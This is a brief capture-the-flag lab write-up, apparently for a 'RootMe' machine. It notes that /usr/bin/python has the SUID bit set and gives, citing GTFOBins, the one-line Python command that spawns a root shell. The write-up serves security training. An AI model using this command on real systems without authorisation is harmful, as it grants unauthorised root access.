RootMe_Privilege_Escalation

SUID

---

While performing the manual enumeration, I have identified that the /usr/bin/python binary has SUID bit set

Checking the GTFObins, python can be used to escalate privileges if it has SUID bit set

www-data@rootme:/var/www$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
